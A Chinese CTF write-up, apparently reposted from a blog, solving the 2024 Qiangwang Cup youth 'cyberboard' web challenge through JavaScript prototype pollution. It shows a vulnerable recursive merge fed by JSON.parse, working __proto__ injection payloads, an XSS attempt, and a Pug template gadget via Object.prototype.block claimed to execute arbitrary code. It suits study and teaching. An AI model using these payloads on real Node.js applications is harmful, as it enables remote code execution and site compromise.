CTF-WEB:js原形污染 [2024强网杯青少年专项赛 cyberboard]

2024强网杯青少年专项赛 cyberboard

step 1

先在user.js里找到密码登录

const users = [  
    { id: 1, username: 'admin', password: "password_you_don't_know", role: 'admin' },  
    { id: 2, username: 'guest', password: 'guest123', role: 'user' }  
  ];

step 2

看到合并对象的代码,第一反应就是原型污染

class Message {  
    static messages = [];  
    constructor(author) {  
      this.author = author;  
      this.timestamp = new Date();  
    }  
    static merge(target, source) {  
      for (let key in source) {  
        if (Object.prototype.hasOwnProperty.call(source, key)) {  
          if (typeof source[key] === 'object' && source[key] !== null) {  
            if (!target[key]) Object.assign(target, { [key]: {} });  
            this.merge(target[key], source[key]);  
          } else {  
            target[key] = source[key]  
          }  
        }  
      }  
      return target;  
    }  
    save(content) {  
      Message.merge(this, JSON.parse(`{"id":${Message.messages.length + 1},"content": ${content}}`));  
      Message.messages.push(this);  
    }  
    
    static getAll() {  
      return this.messages;  
    }  
  }  
  module.exports = Message;

我们先来看看他正常的作用

function merge(target, source) {  
    // 遍历源对象的所有属性  
    for (let key in source) {  
        // 确保属性是源对象本身的,而不是继承来的  
        if (Object.prototype.hasOwnProperty.call(source, key)) {  
            // 如果属性值是对象,则递归合并对象  
            if (typeof source[key] === 'object' && source[key] !== null) {  
                // 如果目标对象没有该属性,初始化为一个空对象  
                if (!target[key]) Object.assign(target, { [key]: {} });  
                // 递归调用 merge 方法  
                merge(target[key], source[key]);  
            } else {  
                // 否则直接赋值  
                target[key] = source[key];  
            }  
        }  
    }  
    return target;  // 返回合并后的目标对象  
}  
  
  
const target = {  
    a: 1,  
    nested: { b: 2 }  
};  
const source = {  
    nested: { c: 3 },  
    d: 4  
};  
  
merge(target, source);  
console.log(target); // { a: 1, nested: { b: 2, c: 3 }, d: 4 }

我们先来尝试一下旧版本可行的原型污染

// 单独的 merge 函数,用于合并两个对象的属性  
function merge(target, source) {  
    // 遍历源对象的所有属性  
    for (let key in source) {  
        // 确保属性是源对象本身的,而不是继承来的  
        if (Object.prototype.hasOwnProperty.call(source, key)) {  
            // 如果属性值是对象,则递归合并对象  
            if (typeof source[key] === 'object' && source[key] !== null) {  
                // 如果目标对象没有该属性,初始化为一个空对象  
                if (!target[key]) Object.assign(target, { [key]: {} });  
                // 递归调用 merge 方法  
                merge(target[key], source[key]);  
            } else {  
                // 否则直接赋值  
                target[key] = source[key];  
            }  
        }  
    }  
    return target;  // 返回合并后的目标对象  
}  
  
  
let maliciousPayload = {  
    __proto__: {  
        polluted: 'Yes, I am A5rZ!'  
    }  
};  
  
let target = {};  
merge(target, maliciousPayload);  
  
console.log({}.polluted);

很显然,这在现在的版本中并不可行,在现代JavaScript环境中,由于JavaScript引擎实现了防止原型污染的安全措施,直接使用常规赋值或Object.assign来赋值__proto__constructorprototype属性不会修改对象的原型链。但是如果这样呢?

// 单独的 merge 函数,用于合并两个对象的属性  
function merge(target, source) {  
    // 遍历源对象的所有属性  
    for (let key in source) {  
        // 确保属性是源对象本身的,而不是继承来的  
        if (Object.prototype.hasOwnProperty.call(source, key)) {  
            // 如果属性值是对象,则递归合并对象  
            if (typeof source[key] === 'object' && source[key] !== null) {  
                // 如果目标对象没有该属性,初始化为一个空对象  
                if (!target[key]) Object.assign(target, { [key]: {} });  
                // 递归调用 merge 方法  
                merge(target[key], source[key]);  
            } else {  
                // 否则直接赋值  
                target[key] = source[key];  
            }  
        }  
    }  
    return target;  // 返回合并后的目标对象  
}  
  
  
let payload = JSON.parse('{"__proto__": {"polluted": "Yes, I am A5rZ!"}}');  
  
let target = {};  
merge({}, payload);  
  
console.log({}.polluted);// Yes, I am A5rZ!

我们继续尝试

// Message 类,用于表示一条消息,并提供保存和获取消息的功能  
class Message {  
    // 静态属性,用于存储所有消息  
    static messages = [];  
  
    // 构造函数,创建一个消息实例,包含作者和时间戳  
    constructor(author) {  
        this.author = author;  // 消息的作者  
        this.timestamp = new Date();  // 消息创建时的时间戳  
    }  
  
    // 静态方法,用于合并两个对象的属性,避免覆盖现有属性  
    static merge(target, source) {  
        // 遍历源对象的所有属性  
        for (let key in source) {  
            // 确保属性是源对象本身的,而不是继承来的  
            if (Object.prototype.hasOwnProperty.call(source, key)) {  
                // 如果属性值是对象,则递归合并对象  
                if (typeof source[key] === 'object' && source[key] !== null) {  
                    // 如果目标对象没有该属性,初始化为一个空对象  
                    if (!target[key]) Object.assign(target, { [key]: {} });  
                    // 递归调用 merge 方法  
                    this.merge(target[key], source[key]);  
                } else {  
                    // 否则直接赋值  
                    target[key] = source[key];  
                }  
            }  
        }  
        return target;  // 返回合并后的目标对象  
    }  
  
    // 实例方法,用于保存消息内容  
    save(content) {  
        // 合并当前实例(this)与新消息内容,使用静态 messages 数组的长度作为消息 ID        console.log(JSON.parse(`{"id":${Message.messages.length + 1},"content": ${content}}`))  
        Message.merge(this, JSON.parse(`{"id":${Message.messages.length + 1},"content": ${content}}`));  
        // 将当前实例保存到静态 messages 数组中  
        Message.messages.push(this);  
    }  
  
    // 静态方法,用于获取所有消息  
    static getAll() {  
        return this.messages;  // 返回存储的所有消息  
    }  
}  
  
const obj = new Message("Author")  
  
obj.save('"data", "__proto__": {"polluted": "Yes, I am A5rZ!"}') 

console.log('----------')  

console.log(obj.polluted);

这会输出

{
  id: 1,
  content: 'data',
  ['__proto__']: { polluted: 'Yes, I am A5rZ!' }
}
-------------------
Yes, I am A5rZ!

还能尝试嵌套

const obj = new Message("Author")  
  
obj.save('"data", "__proto__": {"__proto__": {"polluted": "Yes, I am A5rZ!"}}')  
console.log('----------')  
console.log(obj.__proto__.__proto__);
D:\wamp64\js\nodejs\node.exe D:\wamp64\js\CTF_try.js
{
  id: 1,
  content: 'data',
  ['__proto__']: { ['__proto__']: { polluted: 'Yes, I am A5rZ!' } }
}
----------
[Object: null prototype] { polluted: 'Yes, I am A5rZ!' }

step 3

我们动态调试看看有哪些原形

我们来想想怎么利用,这段代码好像并没有可以污染后执行代码的东西,试试这里

extends layout  
  
block content  
  if user.role === 'admin'  
    .tech-card.p-8.mb-8  
      h2.tech-title.text-2xl.mb-6 Post New Message  
      form.space-y-4(action="/messages", method="POST")  
        textarea.tech-input.w-full.p-4.rounded(  
          name="content"  
          rows="4"  
          placeholder="Enter your message"  
          required  
        )  
        button.tech-button.px-6.py-2.rounded(type="submit") Transmit Message  
  
    .space-y-4  
      each message in messages  
        .message-box.p-6.rounded  
          p.mb-2= message.content  
          .text-sm.text-a***ent-color Agent #{message.author} - #{message.timestamp}  
  else  
    .tech-card.p-8.text-center  
      h2.tech-title.text-2xl.mb-4 A***ess Denied  
      p.text-lg You need admin clearance to a***ess this section.

我们来试试覆盖发件人的name

"data", "author": "A5rZ"

成功!尝试jade的模板注入

"data", "author": "console.log('hacked by a5rz!')"

失败,尝试xss

"data", "author": "</div><script>alert('hacked by a5rz!');</script><div class='text-sm text-a***ent-color'>"

失败

step4

参考

– 时隔好久,终于看见有人发wp了

这道题的利用点在这里,

// 设置模板引擎为 Pug,Pug 会被用于渲染视图
app.set('view engine', 'pug');
// 处理获取消息的请求
exports.getMessages = (req, res) => {
  // 检查当前用户是否为管理员
  if (req.user.role === 'admin') {
    // 如果是管理员,获取所有消息
    const messages = Message.getAll();  
    
    // 渲染消息页面,并将消息数据传递给前端
    res.render('messages', { messages });
  } else {
    // 如果用户不是管理员,返回403禁止访问的状态,并渲染消息页面
    res.status(403).render('messages');
  }
};

这里的pug存在一个利用链

const express = require("express");  
const pug = require('pug');  
const app = express();  
  
app.set('view engine', 'pug');  
  
let messages;  
  
messages = {  
    "name": "A5rZ"  
}  
  
Object.prototype.block = {  
    "type":"Text",  
    "line":"console.log(\"hacked by A5rZ\")" // 这会执行任意代码  
};  
  
// 路由处理  
app.get('/', (req, res) => {  
    // 渲染 'messages' 视图,并传递 messages 数据  
    res.render('messages', { messages });  // h1 name is #{messages.user}
});  
  
// 启动服务器  
app.listen(3000, () => {  
    console.log('Server is running on http://localhost:3000');  
});


转载请说明出处内容投诉
CSS教程网 » CTF-WEB:js原形污染 [2024强网杯青少年专项赛 cyberboard]

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买